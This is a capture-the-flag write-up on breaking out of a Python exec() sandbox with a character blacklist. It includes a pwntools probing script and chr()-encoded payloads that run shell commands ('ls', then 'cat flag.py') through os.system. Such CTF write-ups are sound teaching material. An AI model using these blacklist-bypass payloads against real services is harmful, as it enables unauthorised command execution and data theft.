After we enter the server with ncat, it seems like it's a python server. For input 5 we get:

exec() arg 1 must be a string, bytes or code object

From this we conclude the server is performing an exec, and after a short attempt we realise there is a blacklist.

```
from pwn import *


host = "34.89.171.2"
port = 31975
context.log_level = 'error'
test_characters = ''.join(chr(i) for i in range(32, 127))
blacklisted = []

for char in test_characters:
    with remote(host, port) as conn:
        conn.recvuntil(b"Input code: ")
        conn.sendline(char.encode())
        conn.recvline()
        response = conn.recvline().decode().strip()
        if "Blacklisted!" in response:
            blacklisted.append(char)
print("Blacklisted characters:", blacklisted)
```

One quick program execution later, we have our blacklist: "**6**defilv" (**6** is really the most important here). I didn't find a quick way to bypass it, so I resorted to the usual method: chr().

Basically, we are going to try to **turn __import__('os').system('ls')** into a command that uses chr(asci_code) instead of the characters, like this:
chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(101+15)+chr(32)+chr(111)+chr(115)+chr(59)+chr(32)+chr(111)+chr(115)+chr(41+5)+chr(115)+chr(121)+chr(115)+chr(101+15)+chr(101)+chr(109)+chr(40)+chr(34)+chr(108)+chr(115)+chr(34)+chr(41)

Aaaaaand…..we got another blacklist error?! After a bit of testing, turns out 111 is also blacklisted. The new payload is:
chr(105)+chr(109)+chr(112)+'o'+chr(114)+chr(101+15)+chr(32)+'o'+chr(115)+chr(59)+chr(32)+'o'+chr(115)+chr(41+5)+chr(115)+chr(121)+chr(115)+chr(101+15)+chr(101)+chr(109)+chr(40)+chr(34)+chr(108)+chr(115)+chr(34)+chr(41)

Aaaaaaand….. IT WORKS! Now we just need to read flag.py. The final payload is:

chr(105)+chr(109)+chr(112)+'o'+chr(114)+chr(101+15)+chr(32)+'o'+chr(115)+chr(59)+chr(32)+'o'+chr(115)+chr(41+5)+chr(115)+chr(121)+chr(115)+chr(101+15)+chr(101)+chr(109)+chr(40)+chr(34)+chr(99)+chr(97)+chr(101+15)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(41+5)+chr(112)+chr(121)+chr(34)+chr(41)

Made with love by: AndreiCat